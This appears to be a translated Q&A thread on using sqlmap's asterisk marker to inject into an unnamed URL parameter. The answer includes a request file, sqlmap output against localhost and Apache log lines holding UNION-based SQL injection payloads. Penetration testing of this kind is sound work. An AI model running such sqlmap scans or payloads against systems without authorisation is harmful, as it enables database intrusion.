web-dev-qa-db-ja.com

SQLMap:暗黙のパラメーターURLのテスト

クライアントのWebサイトをテストしていますが、テストする必要がある変数のURLに明示的な名前がないことをSQLMapに伝える構文が見つかりませんでした。

*(アスタリスク-機能しません)を使用するように言っているMVCメソッドをすでに試しましたが、これは少し異なります。の代わりに:

http://web.site/index/aksjdnas

次の形式です。

http://web.site/index.aspx?aksjdnas

aksjdnasでは、パラメータの名前ではなく、パラメータの値。 SQLMapはそれをパラメーター名として使用し続けます。誰かがこの問題の解決策を見たことがありますか?

編集:

ヘルプセンター-セキュリティツール で述べられているように、これが「オントピック」の質問であるため、なぜこの質問がオフトピックにされたのか本当に理解できません。私。

私は、セキュリティツールの構文に関するヘルプを求めているだけです。 SE ISには、この問題に関する他のさまざまな質問があり、それらのどれもクローズされていません。 URLの形式にいくつかの違いがあるため、そこで提案されたソリューションがうまくいかなかったため、新しい質問を始めました。

3
DarkLighting

アスタリスクで意図したとおりに機能することを確認、Backtrack 5r2のsqlmapを使用しますが、Kaliでも同じように動作するはずです。次の例は、静的htmlファイルに対して実行しているため機能しませんが、正しい場所でインジェクションが発生していることを示しています。

まず、リクエストをファイルに保存し、アスタリスクを追加しました。

root@bt:/pentest/database/sqlmap# cat trq 
GET /?arg1*=test123 HTTP/1.1
Host: localhost
User-Agent: Mozilla/4.0

次に、-rパラメーターを指定してsqlmapを呼び出します。

root@bt:/pentest/database/sqlmap# ./sqlmap.py -r trq

    sqlmap/1.0-dev-25eca9d - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 01:30:27

[01:30:27] [INFO] parsing HTTP request from 'trq'
custom injection mark ('*') found in '-u'. Do you want to process it? [Y/n/q] Y

[01:30:32] [INFO] testing connection to the target url
[01:30:33] [INFO] heuristics detected web page charset 'ascii'
[01:30:33] [INFO] testing if the url is stable, wait a few seconds
[01:30:34] [INFO] url is stable
[01:30:34] [INFO] testing if URI parameter '#1*' is dynamic
[01:30:34] [WARNING] URI parameter '#1*' appears to be not dynamic
[01:30:34] [WARNING] heuristic test shows that URI parameter '#1*' might not be injectable
[01:30:34] [INFO] testing for SQL injection on URI parameter '#1*'
[01:30:34] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:30:34] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[01:30:34] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[01:30:34] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[01:30:34] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[01:30:34] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[01:30:35] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[01:30:35] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[01:30:35] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[01:30:35] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[01:30:35] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[01:30:35] [INFO] testing 'Oracle AND time-based blind'
[01:30:35] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[01:30:35] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[01:30:35] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using the --dbms option
[01:30:35] [WARNING] URI parameter '#1*' is not injectable
[01:30:35] [CRITICAL] all parameters appear to be not injectable. Try to increase --level/--risk values to perform more tests. Also, you can try to rerun by providing either a valid --string or a valid --regexp, refer to the user's manual for details

[*] shutting down at 01:30:35

OK、インジェクションを試みたようですが、Webサーバーのログを見て確認します。

root@bt:/pentest/database/sqlmap# tail /var/log/Apache2/access.log
127.0.0.1 - - [24/Feb/2015:01:30:35 -0500] "GET /?arg1%'%20UNION%20ALL%20SELECT%20NULL--%20=test123 HTTP/1.1" 200 302 "-" "Mozilla/4.0"
127.0.0.1 - - [24/Feb/2015:01:30:35 -0500] "GET /?arg1%'%20UNION%20ALL%20SELECT%20NULL,%20NULL--%20=test123 HTTP/1.1" 200 302 "-" "Mozilla/4.0"
127.0.0.1 - - [24/Feb/2015:01:30:35 -0500] "GET /?arg1%'%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL--%20=test123 HTTP/1.1" 200 302 "-" "Mozilla/4.0"
127.0.0.1 - - [24/Feb/2015:01:30:35 -0500] "GET /?arg1%'%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL,%20NULL--%20=test123 HTTP/1.1" 200 302 "-" "Mozilla/4.0"
127.0.0.1 - - [24/Feb/2015:01:30:35 -0500] "GET /?arg1%'%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL,%20NULL,%20NULL--%20=test123 HTTP/1.1" 200 302 "-" "Mozilla/4.0"
127.0.0.1 - - [24/Feb/2015:01:30:35 -0500] "GET /?arg1%'%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL--%20=test123 HTTP/1.1" 200 302 "-" "Mozilla/4.0"
127.0.0.1 - - [24/Feb/2015:01:30:35 -0500] "GET /?arg1%'%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL--%20=test123 HTTP/1.1" 200 302 "-" "Mozilla/4.0"
127.0.0.1 - - [24/Feb/2015:01:30:35 -0500] "GET /?arg1%'%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL--%20=test123 HTTP/1.1" 200 302 "-" "Mozilla/4.0"
127.0.0.1 - - [24/Feb/2015:01:30:35 -0500] "GET /?arg1%'%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL--%20=test123 HTTP/1.1" 200 302 "-" "Mozilla/4.0"
127.0.0.1 - - [24/Feb/2015:01:30:35 -0500] "GET /?arg1%'%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL--%20=test123 HTTP/1.1" 200 302 "-" "Mozilla/4.0"

ログファイルは、注入がアスタリスクのある場所に配置され、パラメーター値に割り当てられていないことを確認します。

編集、与えられた特定の例に対処:./sqlmap.py -u 'http://localhost/test.php?argv2*'また、ログに正しく挿入されます:

root@bt:/pentest/database/sqlmap# tail /var/log/Apache2/access.log
127.0.0.1 - - [24/Feb/2015:01:40:57 -0500] "GET /test.php?argv2%'%20UNION%20ALL%20SELECT%20NULL--%20 HTTP/1.1" 200 40 "-" "sqlmap/1.0-dev-25eca9d (http://sqlmap.org)"
127.0.0.1 - - [24/Feb/2015:01:40:57 -0500] "GET /test.php?argv2%'%20UNION%20ALL%20SELECT%20NULL,%20NULL--%20 HTTP/1.1" 200 40 "-" "sqlmap/1.0-dev-25eca9d (http://sqlmap.org)"
127.0.0.1 - - [24/Feb/2015:01:40:57 -0500] "GET /test.php?argv2%'%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL--%20 HTTP/1.1" 200 40 "-" "sqlmap/1.0-dev-25eca9d (http://sqlmap.org)"
127.0.0.1 - - [24/Feb/2015:01:40:57 -0500] "GET /test.php?argv2%'%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL,%20NULL--%20 HTTP/1.1" 200 40 "-" "sqlmap/1.0-dev-25eca9d (http://sqlmap.org)"
127.0.0.1 - - [24/Feb/2015:01:40:57 -0500] "GET /test.php?argv2%'%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL,%20NULL,%20NULL--%20 HTTP/1.1" 200 40 "-" "sqlmap/1.0-dev-25eca9d (http://sqlmap.org)"
1
wireghoul